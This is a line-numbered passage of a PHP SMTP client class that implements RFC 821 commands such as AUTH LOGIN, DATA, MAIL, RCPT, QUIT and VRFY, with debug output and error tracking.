  2795.         if(substr(PHP_OS, 0, 3) != "WIN")
  2796.            socket_set_timeout($this->smtp_conn, $tval, 0);
  2797.  
  2798.         # get any announcement stuff
  2799.        $announce = $this->get_lines();
  2800.  
  2801.         # set the timeout  of any socket functions at 1/10 of a second
  2802.        //if(function_exists("socket_set_timeout"))
  2803.         //   socket_set_timeout($this->smtp_conn, 0, 100000);
  2804.  
  2805.         if($this->do_debug >= 2) {
  2806.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  2807.         }
  2808.  
  2809.         return true;
  2810.     }
  2811.  
  2812.     /**
  2813.      * Performs SMTP authentication.  Must be run after running the
  2814.      * Hello() method.  Returns true if successfully authenticated.
  2815.      * @access public
  2816.      * @return bool
  2817.      */
  2818.     function Authenticate($username, $password) {
  2819.         // Start authentication
  2820.         fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  2821.  
  2822.         $rply = $this->get_lines();
  2823.         $code = substr($rply,0,3);
  2824.  
  2825.         if($code != 334)
  2826.         {
  2827.             $this->error =
  2828.                 array("error" => "AUTH not accepted from server",
  2829.                       "smtp_code" => $code,
  2830.                       "smtp_msg" => substr($rply,4));
  2831.             if($this->do_debug >= 1) {
  2832.                 echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  2833.             }
  2834.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2835.             $this->smtpError = "auth_auth";
  2836.             return false;
  2837.         }
  2838.  
  2839.         // Send encoded username
  2840.         fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  2841.  
  2842.         $rply = $this->get_lines();
  2843.         $code = substr($rply,0,3);
  2844.  
  2845.         if($code != 334) {
  2846.             $this->error =
  2847.                 array("error" => "Username not accepted from server",
  2848.                       "smtp_code" => $code,
  2849.                       "smtp_msg" => substr($rply,4));
  2850.             if($this->do_debug >= 1) {
  2851.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  2852.                          ": " . $rply . $this->CRLF;
  2853.             }
  2854.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2855.             $this->smtpError = "auth_username";
  2856.             return false;
  2857.         }
  2858.  
  2859.         // Send encoded password
  2860.         fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  2861.  
  2862.         $rply = $this->get_lines();
  2863.         $code = substr($rply,0,3);
  2864.  
  2865.         if($code != 235)
  2866.         {
  2867.             $this->error =
  2868.                 array("error" => "Password not accepted from server",
  2869.                       "smtp_code" => $code,
  2870.                       "smtp_msg" => substr($rply,4));
  2871.             if($this->do_debug >= 1) {
  2872.                 echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
  2873.             }
  2874.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2875.             $this->smtpError = "auth_password";
  2876.             return false;
  2877.         }
  2878.  
  2879.         return true;
  2880.     }
  2881.  
  2882.     /**
  2883.      * Returns true if connected to a server otherwise false
  2884.      * @access private
  2885.      * @return bool
  2886.      */
  2887.     function Connected() {
  2888.         if(!empty($this->smtp_conn)) {
  2889.             $sock_status = socket_get_status($this->smtp_conn);
  2890.             if($sock_status["eof"]) {
  2891.                 # hmm this is an odd situation... the socket is
  2892.                # valid but we aren't connected anymore
  2893.                if($this->do_debug >= 1) {
  2894.                     echo "SMTP -> NOTICE:" . $this->CRLF .
  2895.                          "EOF caught while checking if connected";
  2896.                 }
  2897.                 //DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF);
  2898.                 $this->Close();
  2899.                 return false;
  2900.             }
  2901.             return true; # everything looks good
  2902.        }
  2903.         return false;
  2904.     }
  2905.  
  2906.     /**
  2907.      * Closes the socket and cleans up the state of the class.
  2908.      * It is not considered good to use this function without
  2909.      * first trying to use QUIT.
  2910.      * @access public
  2911.      * @return void
  2912.      */
  2913.     function Close() {
  2914.         $this->error = null; # so there is no confusion
  2915.        $this->helo_rply = null;
  2916.         $this->smtp_buffer = null;
  2917.         if(!empty($this->smtp_conn)) {
  2918.             # close the connection and cleanup
  2919.            fclose($this->smtp_conn);
  2920.             $this->smtp_conn = 0;
  2921.         }
  2922.     }
  2923.  
  2924.  
  2925.     /***************************************************************
  2926.      *                        SMTP COMMANDS                       *
  2927.      *************************************************************/
  2928.  
  2929.     /**
  2930.      * Issues a data command and sends the msg_data to the server
  2931.      * finializing the mail transaction. $msg_data is the message
  2932.      * that is to be send with the headers. Each header needs to be
  2933.      * on a single line followed by a <CRLF> with the message headers
  2934.      * and the message body being seperated by and additional <CRLF>.
  2935.      *
  2936.      * Implements rfc 821: DATA <CRLF>
  2937.      *
  2938.      * SMTP CODE INTERMEDIATE: 354
  2939.      *     [data]
  2940.      *     <CRLF>.<CRLF>
  2941.      *     SMTP CODE SUCCESS: 250
  2942.      *     SMTP CODE FAILURE: 552,554,451,452
  2943.      * SMTP CODE FAILURE: 451,554
  2944.      * SMTP CODE ERROR  : 500,501,503,421
  2945.      * @access public
  2946.      * @return bool
  2947.      */
  2948.     function Data($msg_data) {
  2949.         $this->error = null; # so no confusion is caused
  2950.  
  2951.         if(!$this->connected()) {
  2952.             $this->error = array(
  2953.                     "error" => "Called Data() without being connected");
  2954.             return false;
  2955.         }
  2956.  
  2957.         fputs($this->smtp_conn,"DATA" . $this->CRLF);
  2958.  
  2959.         $rply = $this->get_lines();
  2960.         $code = substr($rply,0,3);
  2961.  
  2962.         if($this->do_debug >= 2) {
  2963.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  2964.         }
  2965.  
  2966.         if($code != 354) {
  2967.             $this->error =
  2968.                 array("error" => "DATA command not accepted from server",
  2969.                       "smtp_code" => $code,
  2970.                       "smtp_msg" => substr($rply,4));
  2971.             if($this->do_debug >= 1) {
  2972.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  2973.                          ": " . $rply . $this->CRLF;
  2974.             }
  2975.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  2976.             $this->smtpError = "data";
  2977.             $this->smtpSendError++;
  2978.             return false;
  2979.         }
  2980.  
  2981.         # the server is ready to accept data!
  2982.        # according to rfc 821 we should not send more than 1000
  2983.        # including the CRLF
  2984.        # characters on a single line so we will break the data up
  2985.        # into lines by \r and/or \n then if needed we will break
  2986.        # each of those into smaller lines to fit within the limit.
  2987.        # in addition we will be looking for lines that start with
  2988.        # a period '.' and append and additional period '.' to that
  2989.        # line. NOTE: this does not count towards are limit.
  2990.  
  2991.         # normalize the line breaks so we know the explode works
  2992.        $msg_data = str_replace("\r\n","\n",$msg_data);
  2993.         $msg_data = str_replace("\r","\n",$msg_data);
  2994.         $lines = explode("\n",$msg_data);
  2995.  
  2996.         # we need to find a good way to determine is headers are
  2997.        # in the msg_data or if it is a straight msg body
  2998.        # currently I'm assuming rfc 822 definitions of msg headers
  2999.        # and if the first field of the first line (':' sperated)
  3000.        # does not contain a space then it _should_ be a header
  3001.        # and we can process all lines before a blank "" line as
  3002.        # headers.
  3003.        $field = substr($lines[0],0,strpos($lines[0],":"));
  3004.         $in_headers = false;
  3005.         if(!empty($field) && !strstr($field," ")) {
  3006.             $in_headers = true;
  3007.         }
  3008.  
  3009.         $max_line_length = 998; # used below; set here for ease in change
  3010.  
  3011.         while(list(,$line) = @each($lines)) {
  3012.             $lines_out = null;
  3013.             if($line == "" && $in_headers) {
  3014.                 $in_headers = false;
  3015.             }
  3016.             # ok we need to break this line up into several
  3017.            # smaller lines
  3018.            while(strlen($line) > $max_line_length) {
  3019.                 $pos = strrpos(substr($line,0,$max_line_length)," ");
  3020.  
  3021.                 # Patch to fix DOS attack
  3022.                if(!$pos) {
  3023.                     $pos = $max_line_length - 1;
  3024.                 }
  3025.  
  3026.                 $lines_out[] = substr($line,0,$pos);
  3027.                 $line = substr($line,$pos + 1);
  3028.                 # if we are processing headers we need to
  3029.                # add a LWSP-char to the front of the new line
  3030.                # rfc 822 on long msg headers
  3031.                if($in_headers) {
  3032.                     $line = "\t" . $line;
  3033.                 }
  3034.             }
  3035.             $lines_out[] = $line;
  3036.  
  3037.             # now send the lines to the server
  3038.            while(list(,$line_out) = @each($lines_out)) {
  3039.                 if(strlen($line_out) > 0)
  3040.                 {
  3041.                     if(substr($line_out, 0, 1) == ".") {
  3042.                         $line_out = "." . $line_out;
  3043.                     }
  3044.                 }
  3045.                 fputs($this->smtp_conn,$line_out . $this->CRLF);
  3046.             }
  3047.         }
  3048.  
  3049.         # ok all the message data has been sent so lets get this
  3050.        # over with aleady
  3051.        fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  3052.  
  3053.         $rply = $this->get_lines();
  3054.         $code = substr($rply,0,3);
  3055.  
  3056.         if($this->do_debug >= 2) {
  3057.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3058.         }
  3059.  
  3060.         if($code != 250) {
  3061.             $this->error =
  3062.                 array("error" => "DATA not accepted from server",
  3063.                       "smtp_code" => $code,
  3064.                       "smtp_msg" => substr($rply,4));
  3065.             if($this->do_debug >= 1) {
  3066.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3067.                          ": " . $rply . $this->CRLF;
  3068.             }
  3069.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3070.             $this->smtpError = "data";
  3071.             $this->smtpSendError++;
  3072.             return false;
  3073.         }
  3074.         return true;
  3075.     }
  3076.  
  3077.     /**
  3078.      * Expand takes the name and asks the server to list all the
  3079.      * people who are members of the _list_. Expand will return
  3080.      * back and array of the result or false if an error occurs.
  3081.      * Each value in the array returned has the format of:
  3082.      *     [ <full-name> <sp> ] <path>
  3083.      * The definition of <path> is defined in rfc 821
  3084.      *
  3085.      * Implements rfc 821: EXPN <SP> <string> <CRLF>
  3086.      *
  3087.      * SMTP CODE SUCCESS: 250
  3088.      * SMTP CODE FAILURE: 550
  3089.      * SMTP CODE ERROR  : 500,501,502,504,421
  3090.      * @access public
  3091.      * @return string array
  3092.      */
  3093.     function Expand($name) {
  3094.         $this->error = null; # so no confusion is caused
  3095.  
  3096.         if(!$this->connected()) {
  3097.             $this->error = array(
  3098.                     "error" => "Called Expand() without being connected");
  3099.             return false;
  3100.         }
  3101.  
  3102.         fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  3103.  
  3104.         $rply = $this->get_lines();
  3105.         $code = substr($rply,0,3);
  3106.  
  3107.         if($this->do_debug >= 2) {
  3108.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3109.         }
  3110.  
  3111.         if($code != 250) {
  3112.             $this->error =
  3113.                 array("error" => "EXPN not accepted from server",
  3114.                       "smtp_code" => $code,
  3115.                       "smtp_msg" => substr($rply,4));
  3116.             if($this->do_debug >= 1) {
  3117.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3118.                          ": " . $rply . $this->CRLF;
  3119.             }
  3120.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3121.             return false;
  3122.         }
  3123.  
  3124.         # parse the reply and place in our array to return to user
  3125.        $entries = explode($this->CRLF,$rply);
  3126.         while(list(,$l) = @each($entries)) {
  3127.             $list[] = substr($l,4);
  3128.         }
  3129.  
  3130.         return $list;
  3131.     }
  3132.  
  3133.     /**
  3134.      * Sends the HELO command to the smtp server.
  3135.      * This makes sure that we and the server are in
  3136.      * the same known state.
  3137.      *
  3138.      * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  3139.      *
  3140.      * SMTP CODE SUCCESS: 250
  3141.      * SMTP CODE ERROR  : 500, 501, 504, 421
  3142.      * @access public
  3143.      * @return bool
  3144.      */
  3145.     function Hello($host="") {
  3146.         $this->error = null; # so no confusion is caused
  3147.  
  3148.         if(!$this->connected()) {
  3149.             $this->error = array(
  3150.                     "error" => "Called Hello() without being connected");
  3151.             return false;
  3152.         }
  3153.  
  3154.         # if a hostname for the HELO wasn't specified determine
  3155.        # a suitable one to send
  3156.        if(empty($host)) {
  3157.             # we need to determine some sort of appopiate default
  3158.            # to send to the server
  3159.            $host = "localhost";
  3160.         }
  3161.  
  3162.         // Send extended hello first (RFC 2821)
  3163.         if(!$this->SendHello("EHLO", $host))
  3164.         {
  3165.             if(!$this->SendHello("HELO", $host))
  3166.                 return false;
  3167.         }
  3168.  
  3169.         return true;
  3170.     }
  3171.  
  3172.     /**
  3173.      * Sends a HELO/EHLO command.
  3174.      * @access private
  3175.      * @return bool
  3176.      */
  3177.     function SendHello($hello, $host) {
  3178.         fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  3179.  
  3180.         $rply = $this->get_lines();
  3181.         $code = substr($rply,0,3);
  3182.  
  3183.         if($this->do_debug >= 2) {
  3184.             echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  3185.         }
  3186.  
  3187.         if($code != 250) {
  3188.             $this->error =
  3189.                 array("error" => $hello . " not accepted from server",
  3190.                       "smtp_code" => $code,
  3191.                       "smtp_msg" => substr($rply,4));
  3192.             if($this->do_debug >= 1) {
  3193.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3194.                          ": " . $rply . $this->CRLF;
  3195.             }
  3196.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3197.             $this->smtpError = "hello";
  3198.             $this->smtpSendError++;
  3199.             return false;
  3200.         }
  3201.  
  3202.         $this->helo_rply = $rply;
  3203.        
  3204.         return true;
  3205.     }
  3206.  
  3207.     /**
  3208.      * Gets help information on the keyword specified. If the keyword
  3209.      * is not specified then returns generic help, ussually contianing
  3210.      * A list of keywords that help is available on. This function
  3211.      * returns the results back to the user. It is up to the user to
  3212.      * handle the returned data. If an error occurs then false is
  3213.      * returned with $this->error set appropiately.
  3214.      *
  3215.      * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  3216.      *
  3217.      * SMTP CODE SUCCESS: 211,214
  3218.      * SMTP CODE ERROR  : 500,501,502,504,421
  3219.      * @access public
  3220.      * @return string
  3221.      */
  3222.     function Help($keyword="") {
  3223.         $this->error = null; # to avoid confusion
  3224.  
  3225.         if(!$this->connected()) {
  3226.             $this->error = array(
  3227.                     "error" => "Called Help() without being connected");
  3228.             return false;
  3229.         }
  3230.  
  3231.         $extra = "";
  3232.         if(!empty($keyword)) {
  3233.             $extra = " " . $keyword;
  3234.         }
  3235.  
  3236.         fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  3237.  
  3238.         $rply = $this->get_lines();
  3239.         $code = substr($rply,0,3);
  3240.  
  3241.         if($this->do_debug >= 2) {
  3242.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3243.         }
  3244.  
  3245.         if($code != 211 && $code != 214) {
  3246.             $this->error =
  3247.                 array("error" => "HELP not accepted from server",
  3248.                       "smtp_code" => $code,
  3249.                       "smtp_msg" => substr($rply,4));
  3250.             if($this->do_debug >= 1) {
  3251.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3252.                          ": " . $rply . $this->CRLF;
  3253.             }
  3254.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3255.             return false;
  3256.         }
  3257.  
  3258.         return $rply;
  3259.     }
  3260.  
  3261.     /**
  3262.      * Starts a mail transaction from the email address specified in
  3263.      * $from. Returns true if successful or false otherwise. If True
  3264.      * the mail transaction is started and then one or more Recipient
  3265.      * commands may be called followed by a Data command.
  3266.      *
  3267.      * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  3268.      *
  3269.      * SMTP CODE SUCCESS: 250
  3270.      * SMTP CODE SUCCESS: 552,451,452
  3271.      * SMTP CODE SUCCESS: 500,501,421
  3272.      * @access public
  3273.      * @return bool
  3274.      */
  3275.     function Mail($from) {
  3276.         $this->error = null; # so no confusion is caused
  3277.  
  3278.         if(!$this->connected()) {
  3279.             $this->error = array(
  3280.                     "error" => "Called Mail() without being connected");
  3281.             return false;
  3282.         }
  3283.  
  3284.         fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $this->CRLF);
  3285.  
  3286.         $rply = $this->get_lines();
  3287.         $code = substr($rply,0,3);
  3288.  
  3289.         if($this->do_debug >= 2) {
  3290.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3291.         }
  3292.  
  3293.         if($code != 250) {
  3294.             $this->error =
  3295.                 array("error" => "MAIL not accepted from server",
  3296.                       "smtp_code" => $code,
  3297.                       "smtp_msg" => substr($rply,4));
  3298.             if($this->do_debug >= 1) {
  3299.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3300.                          ": " . $rply . $this->CRLF;
  3301.             }
  3302.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3303.             $this->smtpError = "mail";
  3304.             $this->smtpSendError++;
  3305.             return false;
  3306.         }
  3307.         return true;
  3308.     }
  3309.  
  3310.     /**
  3311.      * Sends the command NOOP to the SMTP server.
  3312.      *
  3313.      * Implements from rfc 821: NOOP <CRLF>
  3314.      *
  3315.      * SMTP CODE SUCCESS: 250
  3316.      * SMTP CODE ERROR  : 500, 421
  3317.      * @access public
  3318.      * @return bool
  3319.      */
  3320.     function Noop() {
  3321.         $this->error = null; # so no confusion is caused
  3322.  
  3323.         if(!$this->connected()) {
  3324.             $this->error = array(
  3325.                     "error" => "Called Noop() without being connected");
  3326.             return false;
  3327.         }
  3328.  
  3329.         fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  3330.  
  3331.         $rply = $this->get_lines();
  3332.         $code = substr($rply,0,3);
  3333.  
  3334.         if($this->do_debug >= 2) {
  3335.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3336.         }
  3337.  
  3338.         if($code != 250) {
  3339.             $this->error =
  3340.                 array("error" => "NOOP not accepted from server",
  3341.                       "smtp_code" => $code,
  3342.                       "smtp_msg" => substr($rply,4));
  3343.             if($this->do_debug >= 1) {
  3344.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3345.                          ": " . $rply . $this->CRLF;
  3346.             }
  3347.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
  3348.             return false;
  3349.         }
  3350.         return true;
  3351.     }
  3352.  
  3353.     /**
  3354.      * Sends the quit command to the server and then closes the socket
  3355.      * if there is no error or the $close_on_error argument is true.
  3356.      *
  3357.      * Implements from rfc 821: QUIT <CRLF>
  3358.      *
  3359.      * SMTP CODE SUCCESS: 221
  3360.      * SMTP CODE ERROR  : 500
  3361.      * @access public
  3362.      * @return bool
  3363.      */
  3364.     function Quit($close_on_error=true) {
  3365.         $this->error = null; # so there is no confusion
  3366.  
  3367.         if(!$this->connected()) {
  3368.             $this->error = array(
  3369.                     "error" => "Called Quit() without being connected");
  3370.             return false;
  3371.         }
  3372.  
  3373.         # send the quit command to the server
  3374.        fputs($this->smtp_conn,"quit" . $this->CRLF);
  3375.  
  3376.         # get any good-bye messages
  3377.        $byemsg = $this->get_lines();
  3378.  
  3379.         if($this->do_debug >= 2) {
  3380.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  3381.         }
  3382.  
  3383.         $rval = true;
  3384.         $e = null;
  3385.  
  3386.         $code = substr($byemsg,0,3);
  3387.         if($code != 221) {
  3388.             # use e as a tmp var cause Close will overwrite $this->error
  3389.            $e = array("error" => "SMTP server rejected quit command",
  3390.                        "smtp_code" => $code,
  3391.                        "smtp_rply" => substr($byemsg,4));
  3392.             $rval = false;
  3393.             if($this->do_debug >= 1) {
  3394.                 echo "SMTP -> ERROR: " . $e["error"] . ": " .
  3395.                          $byemsg . $this->CRLF;
  3396.             }
  3397.         }
  3398.  
  3399.         if(empty($e) || $close_on_error) {
  3400.             $this->Close();
  3401.         }
  3402.  
  3403.         return $rval;
  3404.     }
  3405.  
  3406.     /**
  3407.      * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  3408.      * Returns true if the recipient was accepted false if it was rejected.
  3409.      *
  3410.      * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  3411.      *
  3412.      * SMTP CODE SUCCESS: 250,251
  3413.      * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  3414.      * SMTP CODE ERROR  : 500,501,503,421
  3415.      * @access public
  3416.      * @return bool
  3417.      */
  3418.     function Recipient($to) {
  3419.         $this->error = null; # so no confusion is caused
  3420.  
  3421.         if(!$this->connected()) {
  3422.             $this->error = array(
  3423.                     "error" => "Called Recipient() without being connected");
  3424.             return false;
  3425.         }
  3426.  
  3427.         fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  3428.  
  3429.         $rply = $this->get_lines();
  3430.         $code = substr($rply,0,3);
  3431.  
  3432.         if($this->do_debug >= 2) {
  3433.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3434.         }
  3435.  
  3436.         if($code != 250 && $code != 251) {
  3437.             $this->error =
  3438.                 array("error" => "RCPT not accepted from server",
  3439.                       "smtp_code" => $code,
  3440.                       "smtp_msg" => substr($rply,4));
  3441.             if($this->do_debug >= 1) {
  3442.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3443.                          ": " . $rply . $this->CRLF;
  3444.             }
  3445.             $this->smtpError = "rcpt";
  3446.             $this->smtpSendError++;
  3447.             return false;
  3448.         }
  3449.         return true;
  3450.     }
  3451.  
  3452.     /**
  3453.      * Sends the RSET command to abort and transaction that is
  3454.      * currently in progress. Returns true if successful false
  3455.      * otherwise.
  3456.      *
  3457.      * Implements rfc 821: RSET <CRLF>
  3458.      *
  3459.      * SMTP CODE SUCCESS: 250
  3460.      * SMTP CODE ERROR  : 500,501,504,421
  3461.      * @access public
  3462.      * @return bool
  3463.      */
  3464.     function Reset() {
  3465.         $this->error = null; # so no confusion is caused
  3466.  
  3467.         if(!$this->connected()) {
  3468.             $this->error = array(
  3469.                     "error" => "Called Reset() without being connected");
  3470.             return false;
  3471.         }
  3472.  
  3473.         fputs($this->smtp_conn,"RSET" . $this->CRLF);
  3474.  
  3475.         $rply = $this->get_lines();
  3476.         $code = substr($rply,0,3);
  3477.  
  3478.         if($this->do_debug >= 2) {
  3479.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3480.         }
  3481.  
  3482.         if($code != 250) {
  3483.             $this->error =
  3484.                 array("error" => "RSET failed",
  3485.                       "smtp_code" => $code,
  3486.                       "smtp_msg" => substr($rply,4));
  3487.             if($this->do_debug >= 1) {
  3488.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3489.                          ": " . $rply . $this->CRLF;
  3490.             }
  3491.             $this->smtpError = "rset";
  3492.             $this->smtpSendError++;
  3493.             return false;
  3494.         }
  3495.  
  3496.         return true;
  3497.     }
  3498.  
  3499.     /**
  3500.      * Starts a mail transaction from the email address specified in
  3501.      * $from. Returns true if successful or false otherwise. If True
  3502.      * the mail transaction is started and then one or more Recipient
  3503.      * commands may be called followed by a Data command. This command
  3504.      * will send the message to the users terminal if they are logged
  3505.      * in.
  3506.      *
  3507.      * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  3508.      *
  3509.      * SMTP CODE SUCCESS: 250
  3510.      * SMTP CODE SUCCESS: 552,451,452
  3511.      * SMTP CODE SUCCESS: 500,501,502,421
  3512.      * @access public
  3513.      * @return bool
  3514.      */
  3515.     function Send($from) {
  3516.         $this->error = null; # so no confusion is caused
  3517.  
  3518.         if(!$this->connected()) {
  3519.             $this->error = array(
  3520.                     "error" => "Called Send() without being connected");
  3521.             return false;
  3522.         }
  3523.  
  3524.         fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  3525.  
  3526.         $rply = $this->get_lines();
  3527.         $code = substr($rply,0,3);
  3528.  
  3529.         if($this->do_debug >= 2) {
  3530.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3531.         }
  3532.  
  3533.         if($code != 250) {
  3534.             $this->error =
  3535.                 array("error" => "SEND not accepted from server",
  3536.                       "smtp_code" => $code,
  3537.                       "smtp_msg" => substr($rply,4));
  3538.             if($this->do_debug >= 1) {
  3539.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3540.                          ": " . $rply . $this->CRLF;
  3541.             }
  3542.             $this->smtpError = "send";
  3543.             $this->smtpSendError++;
  3544.             return false;
  3545.         }
  3546.         return true;
  3547.     }
  3548.  
  3549.     /**
  3550.      * Starts a mail transaction from the email address specified in
  3551.      * $from. Returns true if successful or false otherwise. If True
  3552.      * the mail transaction is started and then one or more Recipient
  3553.      * commands may be called followed by a Data command. This command
  3554.      * will send the message to the users terminal if they are logged
  3555.      * in and send them an email.
  3556.      *
  3557.      * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  3558.      *
  3559.      * SMTP CODE SUCCESS: 250
  3560.      * SMTP CODE SUCCESS: 552,451,452
  3561.      * SMTP CODE SUCCESS: 500,501,502,421
  3562.      * @access public
  3563.      * @return bool
  3564.      */
  3565.     function SendAndMail($from) {
  3566.         $this->error = null; # so no confusion is caused
  3567.  
  3568.         if(!$this->connected()) {
  3569.             $this->error = array(
  3570.                 "error" => "Called SendAndMail() without being connected");
  3571.             return false;
  3572.         }
  3573.  
  3574.         fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  3575.  
  3576.         $rply = $this->get_lines();
  3577.         $code = substr($rply,0,3);
  3578.  
  3579.         if($this->do_debug >= 2) {
  3580.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3581.         }
  3582.  
  3583.         if($code != 250) {
  3584.             $this->error =
  3585.                 array("error" => "SAML not accepted from server",
  3586.                       "smtp_code" => $code,
  3587.                       "smtp_msg" => substr($rply,4));
  3588.             if($this->do_debug >= 1) {
  3589.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3590.                          ": " . $rply . $this->CRLF;
  3591.             }
  3592.             return false;
  3593.         }
  3594.         return true;
  3595.     }
  3596.  
  3597.     /**
  3598.      * Starts a mail transaction from the email address specified in
  3599.      * $from. Returns true if successful or false otherwise. If True
  3600.      * the mail transaction is started and then one or more Recipient
  3601.      * commands may be called followed by a Data command. This command
  3602.      * will send the message to the users terminal if they are logged
  3603.      * in or mail it to them if they are not.
  3604.      *
  3605.      * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  3606.      *
  3607.      * SMTP CODE SUCCESS: 250
  3608.      * SMTP CODE SUCCESS: 552,451,452
  3609.      * SMTP CODE SUCCESS: 500,501,502,421
  3610.      * @access public
  3611.      * @return bool
  3612.      */
  3613.     function SendOrMail($from) {
  3614.         $this->error = null; # so no confusion is caused
  3615.  
  3616.         if(!$this->connected()) {
  3617.             $this->error = array(
  3618.                 "error" => "Called SendOrMail() without being connected");
  3619.             return false;
  3620.         }
  3621.  
  3622.         fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  3623.  
  3624.         $rply = $this->get_lines();
  3625.         $code = substr($rply,0,3);
  3626.  
  3627.         if($this->do_debug >= 2) {
  3628.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3629.         }
  3630.  
  3631.         if($code != 250) {
  3632.             $this->error =
  3633.                 array("error" => "SOML not accepted from server",
  3634.                       "smtp_code" => $code,
  3635.                       "smtp_msg" => substr($rply,4));
  3636.             if($this->do_debug >= 1) {
  3637.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3638.                          ": " . $rply . $this->CRLF;
  3639.             }
  3640.             return false;
  3641.         }
  3642.         return true;
  3643.     }
  3644.  
  3645.     /**
  3646.      * This is an optional command for SMTP that this class does not
  3647.      * support. This method is here to make the RFC821 Definition
  3648.      * complete for this class and __may__ be implimented in the future
  3649.      *
  3650.      * Implements from rfc 821: TURN <CRLF>
  3651.      *
  3652.      * SMTP CODE SUCCESS: 250
  3653.      * SMTP CODE FAILURE: 502
  3654.      * SMTP CODE ERROR  : 500, 503
  3655.      * @access public
  3656.      * @return bool
  3657.      */
  3658.     function Turn() {
  3659.         $this->error = array("error" => "This method, TURN, of the SMTP ".
  3660.                                         "is not implemented");
  3661.         if($this->do_debug >= 1) {
  3662.             echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  3663.         }
  3664.         return false;
  3665.     }
  3666.  
  3667.     /**
  3668.      * Verifies that the name is recognized by the server.
  3669.      * Returns false if the name could not be verified otherwise
  3670.      * the response from the server is returned.
  3671.      *
  3672.      * Implements rfc 821: VRFY <SP> <string> <CRLF>
  3673.      *
  3674.      * SMTP CODE SUCCESS: 250,251
  3675.      * SMTP CODE FAILURE: 550,551,553
  3676.      * SMTP CODE ERROR  : 500,501,502,421
  3677.      * @access public
  3678.      * @return int
  3679.      */
  3680.     function Verify($name) {
  3681.         $this->error = null; # so no confusion is caused
  3682.  
  3683.         if(!$this->connected()) {
  3684.             $this->error = array(
  3685.                     "error" => "Called Verify() without being connected");
  3686.             return false;
  3687.         }
  3688.  
  3689.         fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  3690.  
  3691.         $rply = $this->get_lines();
  3692.         $code = substr($rply,0,3);
  3693.  
  3694.         if($this->do_debug >= 2) {
  3695.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3696.         }
  3697.  
  3698.         if($code != 250 && $code != 251) {
  3699.             $this->error =
  3700.                 array("error" => "VRFY failed on name '$name'",
  3701.                       "smtp_code" => $code,
  3702.                       "smtp_msg" => substr($rply,4));
  3703.             if($this->do_debug >= 1) {
  3704.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3705.                          ": " . $rply . $this->CRLF;
  3706.             }
  3707.             return false;
  3708.         }
